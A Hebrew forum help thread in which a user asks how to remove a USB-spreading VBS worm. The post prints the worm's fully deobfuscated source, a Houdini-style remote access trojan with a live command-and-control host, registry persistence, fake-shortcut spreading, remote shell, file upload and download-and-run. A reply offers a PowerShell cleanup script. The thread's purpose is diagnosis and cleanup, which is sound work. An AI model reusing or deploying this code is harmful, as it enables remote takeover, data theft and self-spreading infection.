דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
24 פוסטים 7 כותבים 183 צפיות 5 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • ר רנדומלי

    בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

    cmd /c hrxxryydxo.vbs && start explorer [file name]
    

    הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

    תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

    לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

    z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
    

    בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
    לאחר פיענוח הקידוד התקבל הקוד הבא:
    אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

    e
    '<[ recoder : houdini (c) skype : houdini-fx ]>
    
    '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
    host = "khattab.no-ip.biz"
    port = 5550
    installdir = "%temp%"
    lnkfile = true
    lnkfolder = true
    
    '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
    
    dim shellobj 
    set shellobj = wscript.createobject("wscript.shell")
    dim filesystemobj
    set filesystemobj = createobject("scripting.filesystemobject")
    dim httpobj
    set httpobj = createobject("msxml2.xmlhttp")
    
    '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
    
    installname = wscript.scriptname
    startup = shellobj.specialfolders ("startup") & "\"
    installdir = shellobj.expandenvironmentstrings(installdir) & "\"
    if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
    spliter = "<" & "|" & ">"
    sleep = 5000 
    dim response
    dim cmd
    dim param
    info = ""
    usbspreading = ""
    startdate = ""
    dim oneonce
    
    '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
    on error resume next
    
    instance
    while true
    
    install
    
    response = ""
    response = post ("is-ready","")
    cmd = split (response,spliter)
    select case cmd (0)
    case "excecute"
          param = cmd (1)
          execute param
    case "update"
          param = cmd (1)
          oneonce.close
          set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
          oneonce.write param
          oneonce.close
          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
          wscript.quit 
    case "uninstall"
          uninstall
    case "send"
          download cmd (1),cmd (2)
    case "site-send"
          sitedownloader cmd (1),cmd (2)
    case "recv"
          param = cmd (1)
          upload (param)
    case  "enum-driver"
          post "is-enum-driver",enumdriver  
    case  "enum-faf"
          param = cmd (1)
          post "is-enum-faf",enumfaf (param)
    case  "enum-process"
          post "is-enum-process",enumprocess   
    case  "cmd-shell"
          param = cmd (1)
          post "is-cmd-shell",cmdshell (param)  
    case  "delete"
          param = cmd (1)
          deletefaf (param) 
    case  "exit-process"
          param = cmd (1)
          exitprocess (param) 
    case  "sleep"
          param = cmd (1)
          sleep = eval (param)        
    end select
    
    wscript.sleep sleep
    
    wend
    
    sub install
    on error resume next
    dim lnkobj
    dim filename
    dim foldername
    dim fileicon
    dim foldericon
    
    upstart
    for each drive in filesystemobj.drives
    
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
            filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
        end if
        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
            if not lnkfile then exit for
            if  instr (file.name,".") then
                if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                    file.attributes = 2+4
                    if  ucase (file.name) <> ucase (installname) then
                        filename = split(file.name,".")
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                        lnkobj.windowstyle = 7
                        lnkobj.targetpath = "cmd.exe"
                        lnkobj.workingdirectory = ""
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                        fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                        if  instr (fileicon,",") = 0 then
                            lnkobj.iconlocation = file.path
                        else 
                            lnkobj.iconlocation = fileicon
                        end if
                        lnkobj.save()
                    end if
                end if
            end if
        next
        for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
            if not lnkfolder then exit for
            folder.attributes = 2+4
            foldername = folder.name
            set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
            lnkobj.windowstyle = 7
            lnkobj.targetpath = "cmd.exe"
            lnkobj.workingdirectory = ""
            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
            foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
            if  instr (foldericon,",") = 0 then
                lnkobj.iconlocation = folder.path
            else 
                lnkobj.iconlocation = foldericon
            end if
            lnkobj.save()
        next
    end If
    end If
    end if
    next
    err.clear
    end sub
    
    sub uninstall
    on error resume next
    dim filename
    dim foldername
    
    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    filesystemobj.deletefile startup & installname ,true
    filesystemobj.deletefile wscript.scriptfullname ,true
    
    for  each drive in filesystemobj.drives
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        for  each file in filesystemobj.getfolder ( drive.path & "\").files
             on error resume next
             if  instr (file.name,".") then
                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                     file.attributes = 0
                     if  ucase (file.name) <> ucase (installname) then
                         filename = split(file.name,".")
                         filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                     else
                         filesystemobj.deletefile (drive.path & "\" & file.name)
                     end If
                 else
                     filesystemobj.deletefile (file.path) 
                 end if
             end if
         next
         for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
             folder.attributes = 0
         next
    end if
    end if
    end if
    next
    wscript.quit
    end sub
    
    function post (cmd ,param)
    
    post = param
    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
    httpobj.setrequestheader "user-agent:",information
    httpobj.send param
    post = httpobj.responsetext
    end function
    
    function information
    on error resume next
    if  inf = "" then
        inf = hwid & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
    
        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set os = root.execquery ("select * from win32_operatingsystem")
        for each osinfo in os
           inf = inf & osinfo.caption & spliter  
           exit for
        next
        inf = inf & "plus" & spliter
        inf = inf & security & spliter
        inf = inf & usbspreading
        information = inf  
    else
        information = inf
    end if
    end function
    
    sub upstart ()
    on error resume Next
    
    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
    
    end sub
    
    function hwid
    on error resume next
    
    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set disks = root.execquery ("select * from win32_logicaldisk")
    for each disk in disks
        if  disk.volumeserialnumber <> "" then
            hwid = disk.volumeserialnumber
            exit for
        end if
    next
    end function
    
    function security 
    on error resume next
    
    security = ""
    
    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
    for each objitem in colitems
        versionstr = split (objitem.version,".")
    next
    versionstr = split (colitems.version,".")
    osversion = versionstr (0) & "."
    for  x = 1 to ubound (versionstr)
         osversion = osversion &  versionstr (i)
    next
    osversion = eval (osversion)
    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
    
    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
    
    for each objantivirus in colantivirus
        security  = security  & objantivirus.displayname & " ."
    next
    if security  = "" then security  = "nan-av"
    end function
    
    function instance
    on error resume next
    
    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
    if usbspreading = "" then
       if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
          usbspreading = "true - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
       else
          usbspreading = "false - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
    
       end if
    end If
    
    
    upstart
    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
    set installfullnameshort =  filesystemobj.getfile (installdir & installname)
    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
        wscript.quit 
    end If
    err.clear
    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
    if  err.number > 0 then wscript.quit
    end function
    
    sub sitedownloader (fileurl,filename)
    
    strlink = fileurl
    strsaveto = installdir & filename
    set objhttpdownload = createobject("msxml2.xmlhttp" )
    objhttpdownload.open "get", strlink, false
    objhttpdownload.send
    
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
     
    if objhttpdownload.status = 200 then
       dim  objstreamdownload
       set  objstreamdownload = createobject("adodb.stream")
       with objstreamdownload
            .type = 1 
            .open
            .write objhttpdownload.responsebody
            .savetofile strsaveto
            .close
       end with
       set objstreamdownload = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    sub download (fileurl,filedir)
    
    if filedir = "" then 
       filedir = installdir
    end if
    
    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
    set objhttpdownload = createobject("msxml2.xmlhttp")
    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
    objhttpdownload.send ""
         
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
    if  objhttpdownload.status = 200 then
        dim  objstreamdownload
        set  objstreamdownload = createobject("adodb.stream")
        with objstreamdownload 
             .type = 1 
             .open
             .write objhttpdownload.responsebody
             .savetofile strsaveto
             .close
        end with
        set objstreamdownload  = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    function upload (fileurl)
    
    dim  httpobj,objstreamuploade,buffer
    set  objstreamuploade = createobject("adodb.stream")
    with objstreamuploade 
         .type = 1 
         .open
         .loadfromfile fileurl
         buffer = .read
         .close
    end with
    set objstreamdownload = nothing
    set httpobj = createobject("msxml2.xmlhttp")
    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
    httpobj.send buffer
    end function
    
    function enumdriver ()
    
    for  each drive in filesystemobj.drives
    if   drive.isready = true then
         enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
    end if
    next
    end Function
    
    function enumfaf (enumdir)
    
    enumfaf = enumdir & spliter
    for  each folder in filesystemobj.getfolder (enumdir).subfolders
         enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
    next
    
    for  each file in filesystemobj.getfolder (enumdir).files
         enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
    
    next
    end function
    
    function enumprocess ()
    
    on error resume next
    
    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_process",,48)
    
    dim objitem
    for each objitem in colitems
        enumprocess = enumprocess & objitem.name & "|"
        enumprocess = enumprocess & objitem.processid & "|"
        enumprocess = enumprocess & objitem.executablepath & spliter
    next
    end function
    
    sub exitprocess (pid)
    on error resume next
    
    shellobj.run "taskkill /F /T /PID " & pid,7,true
    end sub
    
    sub deletefaf (url)
    on error resume next
    
    filesystemobj.deletefile url
    filesystemobj.deletefolder url
    
    end sub
    
    function cmdshell (cmd)
    
    dim httpobj,oexec,readallfromany
    
    set oexec = shellobj.exec ("%comspec% /c " & cmd)
    if not oexec.stdout.atendofstream then
       readallfromany = oexec.stdout.readall
    elseif not oexec.stderr.atendofstream then
       readallfromany = oexec.stderr.readall
    else 
       readallfromany = ""
    end if
    
    cmdshell = readallfromany
    end function
    
    מתכנת חובבמ מנותק
    מתכנת חובבמ מנותק
    מתכנת חובב
    מדריכים
    כתב נערך לאחרונה על ידי
    #12

    @רנדומלי בקשה פשוטה מג'מיני בצירף הקוד של הוירוס הניבה סקריפט PS שמטפל בזה

    $vName = "hrxxryydxo"
    $vFile = "$vName.vbs"
    
    Write-Host "--- מתחיל בניקוי המחשב ---" -ForegroundColor Cyan
    
    # 1. עצירת התהליך החי במחשב
    Get-CimInstance Win32_Process -Filter "Name = 'wscript.exe'" | 
        Where-Object CommandLine -match $vName | 
        Invoke-CimMethod -MethodName Terminate | Out-Null
    Write-Host "[+] תהליך הווירוס בזיכרון נעצר." -ForegroundColor Green
    
    # 2. עקירת שורשי ההפעלה מהרגיסטרי (Registry) במחשב
    Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
    Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
    Remove-Item -Path "HKLM:\Software\$vName" -Recurse -ErrorAction SilentlyContinue
    Write-Host "[+] ערכי הרישום וההפעלה האוטומטית נוקו." -ForegroundColor Green
    
    # 3. מחיקת הקבצים הפיזיים מהמחשב (מתיקיות Temp ו-Startup)
    $tempDir = [System.IO.Path]::GetTempPath()
    $startupDir = [Environment]::GetFolderPath('Startup')
    Remove-Item -Path "$tempDir\$vFile" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$startupDir\$vFile" -Force -ErrorAction SilentlyContinue
    Write-Host "[+] קבצי הווירוס נמחקו מהמחשב (Temp, Startup)." -ForegroundColor Green
    
    
    Write-Host "--- מתחיל בסריקת כוננים חיצוניים ---" -ForegroundColor Cyan
    
    # 4. ניקוי כל הכוננים החיצוניים המחוברים ושחזור קבצים
    $usbDrives = Get-CimInstance Win32_LogicalDisk -Filter "DriveType = 2"
    
    if ($usbDrives.Count -eq 0) {
        Write-Host "[-] לא זוהו כונני USB מחוברים." -ForegroundColor Yellow
    } else {
        foreach ($drive in $usbDrives) {
            $driveLetter = $drive.DeviceID + "\" 
            Write-Host "סורק כונן $driveLetter..." -ForegroundColor Cyan
    
            # מחיקת קיצורי הדרך המזויפים וקובץ הווירוס מהכונן
            Remove-Item -Path "$driveLetter*.lnk" -Force -ErrorAction SilentlyContinue
            Remove-Item -Path "$driveLetter$vFile" -Force -ErrorAction SilentlyContinue
    
            # פעולת התיקון הלוגית: ביטול דגלי ההסתרה והמערכת
            Get-ChildItem -Path $driveLetter -Force | ForEach-Object {
                if (($_.Attributes -band [System.IO.FileAttributes]::Hidden) -or ($_.Attributes -band [System.IO.FileAttributes]::System)) {
                    $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::Hidden
                    $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::System
                }
            }
            Write-Host "[+] כונן $driveLetter נוקה והקבצים המקוריים שוחזרו." -ForegroundColor Green
        }
    }
    
    Write-Host "--- הניקוי הושלם במלואו! ---" -ForegroundColor Green
    

    לשמור את זה עם הסיומת ps1 ולהריץ כמנהל

    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

    תגובה 1 תגובה אחרונה
    0
    • cfopuserC cfopuser

      @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

      @cfopuser בשביל מה?

      לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

      מתכנת חובבמ מנותק
      מתכנת חובבמ מנותק
      מתכנת חובב
      מדריכים
      כתב נערך לאחרונה על ידי מתכנת חובב
      #13

      @cfopuser הוא לא כתב איזה אנטי וירוס יש שם אבל אנטי וירוס נורמלי שמוגדר בצורה נורמלית ומחשב עם בקרת UAC נורמלית לא אמורים להידבק בוירוסים האלו
      זה וירוס קל מאוד לזיהוי (אפשר לראות בקוד חתימה ברורה וכל מנוע יוריסטי יזהה את הפעילות שלו)
      עריכה: אפילו בניתוח סטטי הוא מזוהה על ידי 47 מתוך 62 בוירוס טוטאל

      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

      תגובה 1 תגובה אחרונה
      2
      • ר רנדומלי

        בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

        cmd /c hrxxryydxo.vbs && start explorer [file name]
        

        הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

        לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

        תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

        לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

        z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
        

        בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
        לאחר פיענוח הקידוד התקבל הקוד הבא:
        אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

        e
        '<[ recoder : houdini (c) skype : houdini-fx ]>
        
        '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
        
        host = "khattab.no-ip.biz"
        port = 5550
        installdir = "%temp%"
        lnkfile = true
        lnkfolder = true
        
        '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
        
        dim shellobj 
        set shellobj = wscript.createobject("wscript.shell")
        dim filesystemobj
        set filesystemobj = createobject("scripting.filesystemobject")
        dim httpobj
        set httpobj = createobject("msxml2.xmlhttp")
        
        '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
        
        installname = wscript.scriptname
        startup = shellobj.specialfolders ("startup") & "\"
        installdir = shellobj.expandenvironmentstrings(installdir) & "\"
        if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
        spliter = "<" & "|" & ">"
        sleep = 5000 
        dim response
        dim cmd
        dim param
        info = ""
        usbspreading = ""
        startdate = ""
        dim oneonce
        
        '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
        on error resume next
        
        instance
        while true
        
        install
        
        response = ""
        response = post ("is-ready","")
        cmd = split (response,spliter)
        select case cmd (0)
        case "excecute"
              param = cmd (1)
              execute param
        case "update"
              param = cmd (1)
              oneonce.close
              set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
              oneonce.write param
              oneonce.close
              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
              wscript.quit 
        case "uninstall"
              uninstall
        case "send"
              download cmd (1),cmd (2)
        case "site-send"
              sitedownloader cmd (1),cmd (2)
        case "recv"
              param = cmd (1)
              upload (param)
        case  "enum-driver"
              post "is-enum-driver",enumdriver  
        case  "enum-faf"
              param = cmd (1)
              post "is-enum-faf",enumfaf (param)
        case  "enum-process"
              post "is-enum-process",enumprocess   
        case  "cmd-shell"
              param = cmd (1)
              post "is-cmd-shell",cmdshell (param)  
        case  "delete"
              param = cmd (1)
              deletefaf (param) 
        case  "exit-process"
              param = cmd (1)
              exitprocess (param) 
        case  "sleep"
              param = cmd (1)
              sleep = eval (param)        
        end select
        
        wscript.sleep sleep
        
        wend
        
        sub install
        on error resume next
        dim lnkobj
        dim filename
        dim foldername
        dim fileicon
        dim foldericon
        
        upstart
        for each drive in filesystemobj.drives
        
        if  drive.isready = true then
        if  drive.freespace  > 0 then
        if  drive.drivetype  = 1 then
            filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
            if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
            end if
            for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                if not lnkfile then exit for
                if  instr (file.name,".") then
                    if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                        file.attributes = 2+4
                        if  ucase (file.name) <> ucase (installname) then
                            filename = split(file.name,".")
                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                            lnkobj.windowstyle = 7
                            lnkobj.targetpath = "cmd.exe"
                            lnkobj.workingdirectory = ""
                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                            fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                            if  instr (fileicon,",") = 0 then
                                lnkobj.iconlocation = file.path
                            else 
                                lnkobj.iconlocation = fileicon
                            end if
                            lnkobj.save()
                        end if
                    end if
                end if
            next
            for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                if not lnkfolder then exit for
                folder.attributes = 2+4
                foldername = folder.name
                set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                lnkobj.windowstyle = 7
                lnkobj.targetpath = "cmd.exe"
                lnkobj.workingdirectory = ""
                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                if  instr (foldericon,",") = 0 then
                    lnkobj.iconlocation = folder.path
                else 
                    lnkobj.iconlocation = foldericon
                end if
                lnkobj.save()
            next
        end If
        end If
        end if
        next
        err.clear
        end sub
        
        sub uninstall
        on error resume next
        dim filename
        dim foldername
        
        shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
        shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
        filesystemobj.deletefile startup & installname ,true
        filesystemobj.deletefile wscript.scriptfullname ,true
        
        for  each drive in filesystemobj.drives
        if  drive.isready = true then
        if  drive.freespace  > 0 then
        if  drive.drivetype  = 1 then
            for  each file in filesystemobj.getfolder ( drive.path & "\").files
                 on error resume next
                 if  instr (file.name,".") then
                     if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                         file.attributes = 0
                         if  ucase (file.name) <> ucase (installname) then
                             filename = split(file.name,".")
                             filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                         else
                             filesystemobj.deletefile (drive.path & "\" & file.name)
                         end If
                     else
                         filesystemobj.deletefile (file.path) 
                     end if
                 end if
             next
             for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                 folder.attributes = 0
             next
        end if
        end if
        end if
        next
        wscript.quit
        end sub
        
        function post (cmd ,param)
        
        post = param
        httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
        httpobj.setrequestheader "user-agent:",information
        httpobj.send param
        post = httpobj.responsetext
        end function
        
        function information
        on error resume next
        if  inf = "" then
            inf = hwid & spliter 
            inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
            inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
        
            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
            set os = root.execquery ("select * from win32_operatingsystem")
            for each osinfo in os
               inf = inf & osinfo.caption & spliter  
               exit for
            next
            inf = inf & "plus" & spliter
            inf = inf & security & spliter
